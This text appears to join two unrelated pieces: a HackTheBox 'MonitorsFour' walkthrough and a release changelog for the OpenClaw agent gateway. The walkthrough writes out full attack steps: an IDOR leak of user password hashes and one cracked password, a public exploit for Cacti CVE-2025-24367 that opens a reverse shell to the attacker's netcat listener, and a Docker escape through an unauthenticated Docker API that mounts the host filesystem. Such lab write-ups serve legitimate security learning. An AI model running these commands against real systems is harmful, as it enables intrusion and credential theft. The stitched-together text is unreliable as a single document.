<script type='text/javascript' src='/cacti/include/js/jquery.multiselect.js?0fe69963a69cd6e5c87eb380112912bb'></script>
<script type='text/javascript' src='/cacti/include/js/jquery.multiselect.filter.js?ccf700b33985626742e26c6707028bed'></script>
<script type='text/javascript' src='/cacti/include/js/jquery.timepicker.js?f29132ab24085f909242175ad11cfcbc'></script>
<script type='text/javascript' src='/cacti/include/js/jquery.colorpicker.js?3b7032780b24b9b48050e5d245a36260' async></script>
<script type='text/javascript' src='/cacti/include/js/jquery.tablesorter.js?8d331985e11cfc65649a915073cb30ed'></script>
<script type='text/javascript' src='/cacti/include/js/jquery.tablesorter.widgets.js?3cc0d7b3426e1db1e4a099db18b17e3c' async></script>
<script type='text/javascript' src='/cacti/include/js/jquery.tablesorter.pager.js?8ca32d30195c98492cd028f582f07c8c' async></script>
<script type='text/javascript' src='/cacti/include/js/jquery.sparkline.js?c7638b825bc7deb1cf58c990825d35b2' async></script>
<script type='text/javascript' src='/cacti/include/js/Chart.js?3367829189a65fe699f677e0e4605499' async></script>
<script type='text/javascript' src='/cacti/include/js/dygraph-combined.js?b5b448f71f8c3eb4a39506299bd81b0c' async></script>
<script type='text/javascript' src='/cacti/include/js/d3.js?90b69efc9897253561ab62038cd15692'></script>
<script type='text/javascript' src='/cacti/include/js/billboard.js?9e6056e4dff4d132adc417d1b60c4af5'></script>
<script type='text/javascript' src='/cacti/include/layout.js?666a6d4acff74d80292c7cce8bb1f138'></script>
<script type='text/javascript' src='/cacti/include/js/pace.js?0232dc2b5854db23a93fd46af0f3bff7'></script>
<script type='text/javascript' src='/cacti/include/js/purify.js?a99712dc2d4399aff979d801bfe65383'></script>
<script type='text/javascript' src='/cacti/include/realtime.js?487d4e7f58ab491e660fe5209f67eb81'></script>
<script type='text/javascript' src='/cacti/include/themes/modern/main.js?0eb4f9ce093f3c37be9e898793037ccc'></script>
<script type="text/javascript">if (top != self) {top.location.href = self.location.href;}</script><script type="text/javascript">var csrfMagicToken = "sid:485055783bd3a989bf24668b6f5e345a3f02b1e2,1779339335;ip:a176cb5a056547ee31136d7acb8e3239864807ea,1779339335";var csrfMagicName = "__csrf_magic";</script><script src="/cacti/include/vendor/csrf/csrf-magic.js" type="text/javascript"></script></head>
  <div class='cactiLoginLogo'></div>
    <div class='cactiLogin'>
     <table class='cactiLoginTable'>
  <div class='versionInfo'>Version 1.2.28 | (c) 2004-2026 - The Cacti Group</div>
 var cactiVersion='1.2.28';
 var cactiServerOS='unix';
 var cactiAction='';
 var refreshPage='/cacti/logout.php?action=timeout';
 var urlPath='/cacti/';
  <div class='versionInfo'>Version 1.2.28 | (c) 2004-2026 - The Cacti Group</div>
 var cactiVersion='1.2.28';
alhamrizvi@alhams-fedora:~/mf$

The output shows that the web server redirects requests from the root path / to /cacti/, confirming that the actual application is hosted inside that directory.

HTTP/1.1 302 Found
Location: /cacti

Then another redirect occurs:

HTTP/1.1 301 Moved Permanently
Location: http://cacti.monitorsfour.htb/cacti/

After following the redirects, the response reveals the Cacti login page. The HTML and JavaScript references confirm the application is Cacti through multiple paths such as:

/cacti/include/themes/
/cacti/include/js/

The most important part of the output is the version disclosure:

Version 1.2.28
var cactiVersion='1.2.28';

This confirms the target is running Cacti version 1.2.28, which is useful for identifying known vulnerabilities and matching public exploits to the correct version.

Fuzzing

To look for hidden functionality on the main website, directory and API endpoint fuzzing was performed.

alhamrizvi@alhams-fedora:~/mf$ ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api.txt \
-u http://monitorsfour.htb/FUZZ

The scan discovered an endpoint named /user.

Testing the endpoint with different token values revealed insecure access control behavior. When the request used token=0, the application returned all user records instead of restricting access properly.

The response contained usernames and MD5 password hashes, indicating that the backend failed to validate the token correctly.

This behavior is characteristic of an IDOR vulnerability, where modifying user-controlled parameters allows access to unauthorized data.

The request sends token=0 to the /user endpoint.

alhamrizvi@alhams-fedora:~/mf$ curl -sLv "http://monitorsfour.htb/user?token=0"

...
...

[
  {
    "id": 2,
    "username": "admin",
    "email": "admin@monitorsfour.htb",
    "password": "56b32eb43e6f15395f6c46c1c9e1cd36",
    "role": "super user",
    "token": "8024b78f83f102da4f",
    "name": "Marcus Higgins",
    "position": "System Administrator"
  },
  {
    "id": 5,
    "username": "mwatson",
    "email": "mwatson@monitorsfour.htb",
    "password": "69196959c16b26ef00b77d82cf6eb169",
    "role": "user",
    "name": "Michael Watson"
  },
  {
    "id": 6,
    "username": "janderson",
    "email": "janderson@monitorsfour.htb",
    "password": "2a22dcf99190c322d974c8df5ba3256b",
    "role": "user",
    "name": "Jennifer Anderson"
  },
  {
    "id": 7,
    "username": "dthompson",
    "email": "dthompson@monitorsfour.htb",
    "password": "8d4a7e7fd08555133e056d9aacb1e519",
    "role": "user",
    "name": "David Thompson"
  }
]

Password Cracking

The leaked MD5 hashes were checked against CrackStation, an online hash lookup database containing precomputed password hashes.

The admin hash:

56b32eb43e6f15395f6c46c1c9e1cd36

was successfully cracked to:

wonderful1

Attempting to log into Cacti with admin:wonderful1 failed, which indicated that the username used by the web application differed from the exposed API username.

Based on the profile information returned earlier (Marcus Higgins), several username variations were tested until the correct credentials were identified:

marcus:wonderful1

This provided valid access to the Cacti panel.

Initial Access

After getting CACTI panel access, nothing seems interesting more than cacti panel’s version, we can try to get RCE with this CVE-2025–24367

CVE-2025–24367 is a critical security vulnerability in Cacti, a popular open-source network monitoring and performance graphing framework. With a CVSS score of 8.7, it is classified as a post-authentication Remote Code Execution (RCE) flaw.

How the Vulnerability Works ?

The flaw occurs within Cacti’s RRDTool graph template functionality, where the system parses user-supplied data for RRD command parameters (like --right-axis-label).

The Root Cause: While Cacti attempts to sanitize user input and escape shell metacharacters, it fails to handle newline characters (\( \backslash n \)) properly.

The Exploit: An authenticated attacker can inject newline characters into the input parameters, breaking out of the intended command context. This argument injection allows the attacker to execute additional RRDTool commands and write arbitrary, malicious PHP code directly into the application’s web root.

The Impact: Once the malicious PHP script is successfully created in the web root, the attacker can simply access it via a web browser or HTTP request to execute arbitrary system commands with the privileges of the web server.

Affected Versions

This vulnerability affects Cacti versions up to 1.2.28.

After identifying valid credentials for the Cacti panel, I cloned a public PoC for CVE-2025–24367 and prepared a listener to catch the reverse shell.

alhamrizvi@alhams-fedora:~/mf/CVE-2025-24367-Cacti-PoC$ sudo python3 exploit.py \
-url http://cacti.monitorsfour.htb \
-u marcus \
-p wonderful1 \
-i 10.10.14.98 \
-l 8000

nc -lvnp 8000

The exploit successfully authenticated to the Cacti instance, generated temporary PHP payload files, and triggered command execution through the vulnerable functionality.

[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: rKQT0.php
[+] Got payload: /bash
[i] Created PHP filename: 4bWsW.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80

Shortly after the timeout message appeared, the reverse shell connected back to the Netcat listener, giving remote code execution on the target container.

www-data@821fbd6a43fa:~/html/cacti$ whoami
www-data

www-data@821fbd6a43fa:~/html/cacti$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
...

www-data@821fbd6a43fa:~/html/cacti$ cat /home/marcus/user.txt
REDACTED

pRIVESC

Finding the Docker API

After getting a shell inside the Cacti container, I first verified the environment to understand where I was operating from.

www-data@821fbd6a43fa:~/html/cacti$ hostname
821fbd6a43fa

The hostname looked like a container ID, which strongly suggested we were inside Docker. Checking the network configuration confirmed this:

www-data@821fbd6a43fa:~/html/cacti$ ip addr
2: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP>
    inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0

The container was connected to the 172.18.0.0/16 Docker bridge network. I then checked the routing table to identify the gateway address.

www-data@821fbd6a43fa:~/html/cacti$ ip route
default via 172.18.0.1 dev eth0
172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.2

A common Docker escape technique is abusing an exposed Docker API on port 2375. I first tested the bridge gateway:

www-data@821fbd6a43fa:~/html/cacti$ curl http://172.18.0.1:2375/version
curl: (7) Failed to connect to 172.18.0.1 port 2375

Nothing was listening there. Next, I tried host.docker.internal, which is commonly available in Docker Desktop environments and resolves back to the host system.

www-data@821fbd6a43fa:~/html/cacti$ curl -v http://host.docker.internal:2375/version
* Host host.docker.internal:2375 was resolved.
* IPv4: 192.168.65.254
* Trying 192.168.65.254:2375...
* connect to 192.168.65.254 port 2375 failed: Connection refused

Although the API was not exposed on .254, the response revealed an important detail: Docker Desktop was using the 192.168.65.0/24 internal subnet. That meant the Docker Engine API could still be exposed somewhere else on that range.

I also checked whether the Docker socket was mounted inside the container:

www-data@821fbd6a43fa:~/html/cacti$ ls -la /var/run/docker.sock 2>/dev/null

www-data@821fbd6a43fa:~/html/cacti$ find / -name "docker.sock" 2>/dev/null

No socket was present, so I moved on to scanning the subnet manually for port 2375.

www-data@821fbd6a43fa:~/html/cacti$ for i in $(seq 1 254); do
(curl -s --connect-timeout 1 http://192.168.65.$i:2375/version 2>/dev/null | grep -q "ApiVersion" && echo "192.168.65.$i:2375 OPEN") &
done; wait

The scan returned a valid Docker API endpoint:

192.168.65.7:2375 OPEN

I confirmed access and retrieved the Docker version information.

www-data@821fbd6a43fa:~/html/cacti$ curl http://192.168.65.7:2375/version

{
  "Platform": {"Name": "Docker Engine - Community"},
  "Version": "28.3.2",
  "ApiVersion": "1.51",
  "KernelVersion": "6.6.87.2-microsoft-standard-WSL2",
  "Os": "linux",
  "Arch": "amd64"
}

The API was completely unauthenticated, allowing arbitrary interaction with the Docker daemon from inside the container.

Exploitation

To create a new container, I first checked which images were already available on the host.

www-data@821fbd6a43fa:~/html/cacti$ curl -s http://192.168.65.7:2375/images/json | grep -o '"RepoTags":\[[^]]*\]'

"RepoTags":["docker_setup-nginx-php:latest"]
"RepoTags":["docker_setup-mariadb:latest"]
"RepoTags":["alpine:latest"]

Since alpine:latest already existed, I used it to create a malicious container that mounted the host filesystem. On my attacking machine, I prepared a JSON payload defining the container configuration.

cat > /tmp/container.json << 'EOF'
{
  "Image": "alpine:latest",
  "Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
  "HostConfig": {
    "Binds": ["/mnt/host/c:/mnt/host_root"]
  },
  "Tty": true,
  "OpenStdin": true
}
EOF

The important part was the bind mount:

"Binds": ["/mnt/host/c:/mnt/host_root"]

Docker Desktop exposes the Windows host filesystem through /mnt/host/c inside WSL2. By mounting it into the new container, I could directly access files from the host operating system.

I then served the payload locally:

alhamrizvi@alhams-fedora:/mf$ cd /tmp && python3 -m http.server 8000

Inside the compromised container, I downloaded the configuration file.

www-data@821fbd6a43fa:~/html/cacti$ curl http://10.10.14.36:8000/container.json -o /tmp/container.json

Next, I created the malicious container through the Docker API.

www-data@821fbd6a43fa:~/html/cacti$ curl -X POST \
-H "Content-Type: application/json" \
-d @/tmp/container.json \
http://192.168.65.7:2375/containers/create?name=pwned

{"Id":"7d99df11ee0f9d29c093acb26f741bebda84e7d02c90097590c0791241075468","Warnings":[]}

After creating the container, I started it:

www-data@821fbd6a43fa:~/html/cacti$ curl -X POST \
http://192.168.65.7:2375/containers/7d99df11ee0f/start

Finally, I retrieved the container logs, which contained the contents of root.txt from the Windows host.

www-data@821fbd6a43fa:~/html/cacti$ curl \
http://192.168.65.7:2375/containers/7d99df11ee0f/logs?stdout=true
REDACTED

The exposed Docker API allowed full interaction with the Docker daemon, leading directly to host filesystem access and complete compromise of the machine.

And Congrats, you have rooted the machine i guess!

bye bye!

MonitorsFour HTB — HackTheBox Walkthrough | By Alham Rizvi was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Changes

• iMessage: support thumb-approval reactions — 👍 (Like tapback) resolves an approval as allow-once and 👎 resolves as deny, with the explicit-approver allowlist read from channels.imessage.allowFrom; allow-always stays on the manual /approve <id> allow-always text fallback. Mirrors the WhatsApp behavior from #85477.
• Gateway/perf: reuse process-stable channel catalog reads, avoid repeated bundled-channel boundary checks, and rotate gateway watch CPU profiles so benchmark runs do not accumulate unbounded artifacts.
• Gateway/perf: cache stable install-record, channel-catalog, bundled-channel, and Telegram session-store metadata during process-local hot paths to reduce repeated JSON and manifest reads.
• Gateway/perf: reuse immutable plugin metadata snapshots across startup, config, model, channel, setup, and secret metadata readers so hot paths avoid repeated plugin file stats and manifest registry reloads.
• Talk/realtime: let WebUI and Discord voice callers ask for active OpenClaw run status, cancel, steer, or queue follow-up work while a consult is still running. (#84231) Thanks @Solvely-Colin.
• Discord/voice: add realtime wake-name gating with agent-name defaults and raise profile bootstrap context budget for longer USER.md/SOUL.md files.
• Gateway/perf: lazy-load startup-idle plugin work, core gateway method handlers, and the embedded ACPX runtime so Gateway health and ready signals no longer wait on unused handler trees or ACPX probes.
• Gateway/perf: cache plugin SDK public-surface alias maps and skip irrelevant macOS Linuxbrew PATH probes so Gateway startup avoids repeated filesystem walks and slow missing-directory stats.
• Image tool: add adaptive model-aware image compression with an agents.defaults.imageQuality preference for choosing token-efficient, balanced, or high-detail media handling.
• Meeting Notes: add a source-only external meeting-notes plugin and SDK source-provider contract outside the core npm package, with auto-start capture config, manual transcript imports, read-only openclaw meeting-notes CLI access, and Discord voice as the first live source.
• Meeting Notes/Discord: release channel account startup before meeting-notes auto-capture, wait for the Discord voice manager during gateway boot, and stop plugin services before channel shutdown so voice capture state remains available during startup and cleanup.
• Docs/channels/config: add Signal configPath, Telegram wildcard topic defaults, local-time backup archive names, Termux home fallback, include-path validation, secret-scanner-safe placeholder guidance, Gemini CLI/Antigravity media guidance, and macOS VM auto-login guidance. Thanks @NorseGaud, @yudistiraashadi, @huangqian8, @VibhorGautam, @maweibin, @tianxingleo, @IgnacioPro, and @xzcxzcyy-claw.
• Docs: clarify model-usage portability, Codex migration prerequisites, status bootstrap wording, thread-bound subagent limits, hook ownership, and config-preserving safety guidance. Thanks @aniruddhaadak80, @leno23, @TomDjerry, @matthewxmurphy, @vincentkoc, and @stablegenius49.
• Docs: clarify README onboarding and Gateway startup paths, WhatsApp QR/408 recovery, cron output language prompts, skill advanced features, gateway upstream 403 troubleshooting, and plugin fallback override guidance. Thanks @deepujain, @Zacxxx, @Jah-yee, @neyric, @usimic, @Renu-Cybe, @BigUncle, and @SeashoreShi.
• Docs: clarify context-pruning ratio bounds, local dashboard recovery, CLI env markers, remote onboarding token behavior, and Peekaboo Bridge permissions for subprocess agents. Thanks @ayesha-aziz123, @dishraters, @hougangdev, and @brandonlipman.
• Docs: clarify browser CDP diagnostics, Plugin SDK allowlist imports, status-reaction timing defaults, queue steering behavior, limited-tool troubleshooting, cron HEARTBEAT handling, Telegram multi-agent groups, Bitwarden SecretRef setup, and EasyRunner deployments. Thanks @Quratulain-bilal, @mbelinky, @Mickey-, @vancece, @xenouzik, @posigit, @surlymochan, @janaka, and @choiking.
• CLI/models: let openclaw models auth login store a single returned provider auth profile under a requested --profile-id, and document named Codex OAuth profile setup. (#49315) Thanks @DanielLSM.
• Crabbox/Testbox: run clean sparse-checkout Testbox syncs from a temporary full checkout and route remote changed gates through Corepack pnpm.
• Docs: clarify IPv4-only Gateway BYOH binding, trusted-proxy scope clearing, Android pairing approval, macOS Accessibility grants, Zalo profile env vars, password-store SecretRef setup, and Chinese memory navigation. Thanks @itskai-dev, @gwh7078, @longstoryscott, @MoeJaberr, and @yuaiccc.
• Docs: consolidate GLM under Z.AI, add the Upstash Box install guide and Gateway exposure runbook, clarify MEDIA directives, Copilot and Voyage setup, config path quoting, real behavior proof, and memory-file write guidance. Thanks @BobDu, @alitariksahin, @Jefsky, @musaabhasan, @OmerZeyveli, @leno23, @WuKongAI-CMU, @luoyanglang, and @majin1102.
• Docs: clarify media provider credentials, Codex/OpenClaw code-mode boundaries, Slack and Telegram ack reactions, Feishu dynamic agents, secrets plaintext boundaries, memory guidance, and Chinese glossary terms. Thanks @nielskaspers, @cosmopolitan033, @drclaw-iq, @alexgduarte, @zccyman, @chengoak, and @cassthebandit.
• Packaging: exclude documentation images and assets from the npm tarball, reducing published package size without affecting runtime docs search or CLI behavior. Thanks @SebTardif.
• Media understanding: stop auto-probing Gemini CLI and use Antigravity CLI only as a lower-priority image/video fallback after configured provider APIs.
• Diagnostics: emit sanitized secrets.prepare timeline spans for Gateway secret preparation so operators can distinguish secret startup latency without exposing provider names, secret ids, or secret values. (#83019) Thanks @samzong.
• Diagnostics: export bounded skill usage metrics/spans and tool source/owner labels for core, plugin, MCP, and channel tool execution without exposing raw paths or session identifiers. (#80370) Thanks @gauravprasadgp.
• Agents/subagents: limit default sub-agent bootstrap context to AGENTS.md and TOOLS.md, keeping persona, identity, user, memory, heartbeat, and setup files out of delegated workers by default. (#85283) Thanks @100yenadmin.
• Maintainer skills: require clean autoreview before surfacing bug-sweep PR URLs and treat changelog-only conflicts as routine busy-main churn.
• Maintainer skills: exclude plugin SDK/API boundary work from openclaw-landable-bug-sweep so bugbash sweeps stay focused on small paper-cut fixes.
• QA-Lab/diagnostics: extend the OpenTelemetry smoke harness to prove trace, metric, and log export, and add first-class Prometheus and observability smoke aliases.
• Plugin SDK: add a generic channel-message poll sender so channel plugins can expose poll delivery without depending on channel-specific SDK facades.
• Plugin SDK/cron delivery: route cron delivery through the modern target resolver and outbound session-route APIs, deprecate parser-backed target helpers and plugin-sdk/messaging-targets, and move bundled callers to plugin-sdk/channel-targets.
• Crabbox: keep the local wrapper's provider validation synced with the installed Crabbox binary while preserving supported aliases such as docker and blacksmith. (#85302) Thanks @hxy91819.
• Maintainer skills: add openclaw-landable-bug-sweep for producing five small, reviewed, CI-green OpenClaw bugfix PRs from issue/PR sweeps.
• Control UI/chat: add search and Load More pagination to the chat session picker, keeping initial session loads bounded while making older conversations reachable. (#85237) Thanks @amknight.
• CLI/onboarding: start classic onboarding when bare openclaw runs before an authored config exists, while keeping configured installs on Crestodian. (#72343) Thanks @fuller-stack-dev.
• Discord: allow configuring a bounded agentComponents.ttlMs callback registry lifetime for long-running component workflows, with per-account overrides and a 24-hour cap. (#84189) Thanks @100menotu001.
• xAI/Grok: reuse xAI OAuth auth profiles for Grok web_search, thread active-agent auth through web search, add Grok model aliases, and let media providers declare default operation timeouts. (#85182) Thanks @fuller-stack-dev.
• Plugin SDK: add row-level session workflow helpers and deprecate loadSessionStore so plugins can read and patch sessions without depending on the legacy whole-store shape. (#84693) Thanks @efpiva.
• Gateway/plugins: reuse a compatible Gateway startup plugin registry during dispatch so safe plugin dispatches avoid redundant registry loading. (#84324) Thanks @ai-hpc.
• Plugins/SDK: add a general embeddingProviders capability contract and registration API so embeddings can become a reusable provider surface outside memory-specific adapters.
• Dependencies: refresh provider, plugin, UI, and tooling packages, update protobufjs to 8.4.0 to clear the current npm advisory, and carry the Claude ACP completion patch forward to @agentclientprotocol/claude-agent-acp 0.36.1.
• Agents/tools: remove the old sender-owner tool gating path so configured tools stay visible for trusted sessions while command and channel-action auth still carry real sender identity.
• QA-Lab: add curated mock JSONL replay fixtures and first-drift reporting for runtime-parity audits. (#80323, refs #80176) Thanks @100yenadmin.
• QA-Lab: add a QA bus tool-trace visibility scenario for sanitized tool-call assertions.
• QA-Lab: replace generic evidence framing in seeded scenario prompts with concrete observed QA behavior.
• QA-Lab: list named scenario packs in the coverage report so personal-agent privacy coverage stays visible in audits.
• QA-Lab: list live transport lane membership in the coverage report so real transport checks stay separate from seeded qa-channel scenarios.
• Release/package: run package integrity checks before package acceptance lanes so public install/update validation fails before private QA assets can leak into the package.
• QA-Lab: include the optional 100-turn runtime parity soak in release-soak artifacts so long-run Codex/Pi transcript drift stays visible outside the default gate. (#80395) Thanks @100yenadmin.
• QA-Lab: add a live-only long-context progress watchdog scenario for Codex app-server timeout and stalled-run sentinels. (#80323) Thanks @100yenadmin.
• QA-Lab: tag gateway restart recovery and streaming final-integrity scenarios as live-only runtime parity lanes. (#80323) Thanks @100yenadmin.
• QA-Lab: add a personal-agent failure recovery scenario that checks honest partial status, retry boundaries, and local recovery artifacts. (#83872) Thanks @iFiras-Max1.
• QA-Lab: include an opt-in update.run package self-upgrade sentinel for destructive latest-package recovery checks.
• QA-Lab: add Codex plugin lifecycle and auth-profile fixture coverage for missing installs, pinned-version drift, first-turn install ordering, and doctor migration safety. (#80323, refs #80174) Thanks @100yenadmin.
• Models/perf: pre-warm the provider auth-state map at gateway startup so /models and every model-listing call short-circuits the per-provider plugin / external-CLI discovery on the hot path. Per-call cost drops from ~20 s to ~5 ms (~4,100×); the one-time startup warm resets and re-warms after hot reloads. (#84816) Thanks @sjf.
• Release/security: ship the root npm package and OpenClaw-owned npm plugins with generated shrinkwrap, support bundled plugin runtime dependencies for suitable plugin tarballs, and require review for lockfile/shrinkwrap changes so published installs use locked dependency graphs.
• Tests/perf: isolate doctor core health check unit coverage from real skills/workspace discovery so doctor-core-checks no longer dominates unit perf while keeping one real skills-readiness smoke. (#84493) Thanks @frankekn.

Fixes

• Gateway/update: avoid fetching unrelated tags during dev-channel git updates so moved release tags do not block branch-based updates. (#84737) Thanks @rubencu.
• CLI/update: suppress the expected future-config warning while an old update parent hands off to the freshly installed post-core process.
• MiniMax: store OAuth token expiry as an absolute millisecond timestamp so OAuth profiles no longer appear expired on every request. (#83480) Thanks @NianJiuZst.
• Agents/Anthropic: strip missing or blank thinking signatures for signed-thinking providers even when recovery supplies a narrow replay policy without signature preservation. Fixes #84430. (#84448) Thanks @NianJiuZst.
• Agents/channels: send a visible notice when an aborted main session cannot be resumed after restart, including Telegram group targets. (#85805) Thanks @pfrederiksen.
• Discord/voice: serialize overlapping voice joins, retry aborted startup readiness within the configured timeout, upgrade meeting-notes-only sessions to realtime when the normal follow join arrives, detach promoted meeting-notes ownership without leaving voice, and include OpenClaw in default realtime wake names.
• Gateway/restart: honor the configured restart drain budget for embedded runs and avoid spending the deferral timeout twice after forced restart timeouts. (#85708) Thanks @Kaspre.
• Gateway/boot: run BOOT.md startup checks in an isolated boot session so gateway restarts do not overwrite the agent's main session mapping. (#85479)
• Meeting Notes: include a speaker-labeled transcript section in generated summaries so Discord group voice captures show who said each captured utterance.
• Discord/voice: recover stale realtime playback state when Discord stream-close/player-idle events do not arrive, and keep generated runtime plugin aliases available after postbuild rewrites.
• Discord/voice: keep realtime playback running when meeting notes attaches to an existing voice session or a realtime consult starts, and route realtime user transcripts into meeting notes.
• Config/secrets: preflight active runtime SecretRefs before root and include config writes persist, and roll back unchanged file/env state when post-write refresh fails. Fixes #46531. (#84454) Thanks @samzong.
• CLI/models: preserve SecretRef-backed custom provider apiKey markers when models status regenerates models.json, avoiding resolved plaintext secrets on disk. Fixes #84632. (#84658) Thanks @NianJiuZst.
• WhatsApp/auto-reply: deliver deferred media replies through the foreground reply fence so overlapping no-reply turns no longer hide already visible responses. (#85517) Thanks @cavit99.
• Sessions/security: replace agent-to-agent wildcard allowlist regexes with a precompiled linear matcher so cross-agent access checks avoid backtracking-prone patterns. (#85849) Thanks @SebTardif.
• WebChat: keep the run-complete indicator in progress until deferred history replay renders the assistant reply, so Done no longer appears before response text. (#85374) Thanks @neeravmakwana.
• Agents/tools: give timed-out or cancelled process trees a bounded SIGTERM cleanup window before SIGKILL while preserving tree-aware cancellation. Fixes #66399. (#85865) Thanks @IWhatsskill.
• Agents/subagents: treat aborted subagent stop reasons as killed terminal failures so parent sessions get error announcements instead of silent success. Fixes #72293. (#85860) Thanks @IWhatsskill.
• Agents/providers: clamp proxy-like OpenAI Chat Completions output caps against the final request payload so strict local/API-compatible servers no longer reject prompts that already consume part of the context window. Fixes #83086. (#85889) Thanks @rendrag-git.
• Agents/compaction: skip agent-harness preflight for provider-owned CLI runtime sessions so over-threshold Claude CLI sessions continue through normal compaction instead of failing on a missing harness. Fixes #84857. (#84878) Thanks @zhangguiping-xydt.
• Codex/app-server: keep successful native hook relays available through a short post-turn grace window so late Codex hook subprocesses can finish policy enforcement without clearing a replacement relay. (#83987) Thanks @Kaspre.
• Control UI/config: save form-mode edits from the source config snapshot so runtime-only provider defaults like empty models.providers.<id>.baseUrl are not written back and rejected. Fixes #85831. Thanks @garyd9.
• Browser/existing-session: launch Chrome DevTools MCP with usage statistics disabled by default so its telemetry watchdog stays off unless an operator explicitly opts in. (#85886) Thanks @rohitjavvadi.
• Telegram: normalize legacy durable group retry targets before retry sends, polls, and pins so group retries keep using the real chat id. (#85656) Thanks @luoyanglang.
• Agents/PDF: route MiniMax PDF fallback policy through plugin metadata so MiniMax uses text extraction instead of VLM image fallback. (#85590, fixes #85575) Thanks @neeravmakwana.
• CLI/plugins: tighten timeout, numeric option, media payload, permission, profile/TLS, plugin metadata, JSON, and remote URL handling; prevent stuck progress/app-server/IRC/Synology/Twitch waits; and keep imported chat history ordering stable.
• Telegram/config: suppress the missing accounts.default warning when channels.telegram.defaultAccount names a configured account that also sorts first. Fixes #83948. Thanks @crypto86m.
• Telegram: serialize visible topic replies through core reply-lane admission so heartbeat and queued follow-up turns cannot continue ownerless or misroute responses. (#85709) Thanks @jalehman.
• WebChat: summarize internal message-tool source replies so tool cards no longer duplicate the visible reply body. (#84773) Thanks @jason-allen-oneal.
• Gateway/WebChat: hide duplicate gateway-injected assistant rows when Cursor ACP already persisted the same acp-runtime reply. Fixes #85741. Thanks @lxf-lxf.
• WebChat: scope the visible attachment button to its own composer file input so clicking Upload reliably opens the file picker. (#83952, fixes #47983) Thanks @jason-allen-oneal.
• Gateway: preserve deferred lifecycle-error cleanup across later non-terminal events so provider timeouts can persist failed session state instead of leaving sessions stuck running. (#85256, fixes #63819) Thanks @samzong.
• Gateway/update: stop treating inherited macOS XPC_SERVICE_NAME values as launchd supervision during update respawn, so GUI-spawned gateways use detached respawn instead of exiting for a missing LaunchAgent. Fixes #85224. Thanks @richardmqq.
• Agents/subagents: report tool-only child progress during timeout summaries instead of showing no visible output.
• Telegram/ACP: preserve explicit :topic: conversation suffixes when inbound ACP targets do not carry a separate thread id.
• Browser/proxy: bypass the managed proxy for the exact local managed Chrome CDP readiness and DevTools WebSocket endpoints, so openclaw browser start works when the operator proxy blocks loopback egress. (#83255) Thanks @lightcap.
• Ollama: bypass the managed proxy for configured local embedding origins while keeping SSRF guardrails on unconfigured targets. Thanks @Kaspre.
• OpenAI/images: route Codex API-key image generation through the native OpenAI Images API instead of the Codex OAuth streaming backend, avoiding 401s from valid API keys.
• Agents/OpenAI completions: omit empty tool payload fields for proxy-like OpenAI-compatible endpoints so strict vLLM-style servers accept tool-free turns. (#85835) Thanks @rendrag-git.
• Sandbox: keep workspace skill mounts read-only for remote container-cwd file operations and reject symlinked skill roots before creating protected overlays. (#85591) Thanks @jason-allen-oneal.
• Scripts/Windows: route remaining QA, release, profile, and live-media pnpm launches through the managed runner so native Windows avoids brittle .cmd execution and shell-argv warnings.
• Release: align generated config/API baselines and the meeting-notes plugin version so release preflight stays green on native Windows.
• Install/Windows: run Git hook setup through a Node prepare helper so native Windows installs no longer print POSIX shell errors.
• Checks/Windows: chunk and serialize extension oxlint shards on native Windows so changed gates avoid Go-backed linter memory spikes.
• Release/Windows: run installed openclaw.cmd verification through explicit cmd.exe wrapping so npm prepublish/postpublish checks avoid Node shell-argv warnings.
• Release/Windows: run release-check npm pack/install/root probes through the shared npm runner so native Windows avoids bare npm lookup and .cmd shell-argv handling.
• Release/Windows: run cross-OS release check .cmd shims through explicit cmd.exe wrapping so native Windows install and gateway probes avoid Node shell-argv handling.
• Control UI/Windows: run i18n Pi, npm, and pnpm helper commands through explicit Windows runners so native Windows translation sync avoids brittle .cmd launches.
• Scripts/Windows: run the Z.AI fallback repro through the shared pnpm runner so native Windows avoids raw .cmd launches.
• Codex/Windows: run app-server protocol formatting through the shared pnpm runner so native Windows avoids raw .cmd launches.
• Plugins/Windows: run plugin npm package staging through the shared npm runner so native Windows release checks avoid bare npm lookup and .cmd shell-argv handling.
• Checks/Windows: route full pnpm check stage commands through the managed child runner so Windows avoids Node shell-argv deprecation warnings there too.
• Agents/fs: allow workspace-only host write/edit tools to write through in-workspace symlink directory parents while preserving outside-workspace symlink rejection. Fixes #84696. Thanks @garbagenetwork.
• Checks/Windows: run managed child commands through explicit cmd.exe wrapping instead of Node shell mode with argv, avoiding Node 24 subprocess deprecation warnings during changed checks.
• Gateway: omit internal stream-error placeholder entries from agent prompt history so failed assistant turns are not replayed as model-authored text. (#85652) Thanks @anyech.
• Sessions: enforce the session write-lock max-hold policy during lock acquisition so long-held locks can be reclaimed before the stale-lock window. (#85764) Thanks @njuboy11.
• Sessions/status: preserve user-facing model, fallback, usage, and cost attribution when internal subagent handoff runs use fallback models. (#85726, fixes #85082) Thanks @brokemac79.
• Install/update: honor OPENCLAW_HOME when deriving default dev checkout and installer onboarding paths, while keeping explicit OPENCLAW_GIT_DIR and OPENCLAW_CONFIG_PATH overrides authoritative. Fixes #54014. Thanks @robertPiro.
• Models: prune retired Groq, GitHub Copilot, OpenAI, xAI, and old Claude catalog entries, with doctor migration to upgrade existing configs to current provider refs.
• Plugins/Gateway: treat non-empty return values from plugin gateway method handlers as successful responses so openclaw gateway call no longer times out after completed plugin work. Fixes #59470. Thanks @HTMG23.
• Doctor/update: recognize junction-backed source checkouts as git installs by comparing canonical paths before showing package-manager update guidance. Fixes #82215. Thanks @igormf.
• Channels: honor /verbose on for tool/progress summaries across direct chats, groups, channels, and forum topics while preserving quiet default behavior. (#85488) Thanks @kurplunkin.
• Update: keep the detached gateway restart handoff best-effort when the restart script process cannot be spawned. (#83892) Thanks @davinci282828.
• Telegram: persist the prompt-context message cache through plugin state and record bot-authored replies after sends and draft streaming so later turns can include prior assistant replies without relying on the JSON sidecar. (#85231) Thanks @keshavbotagent.
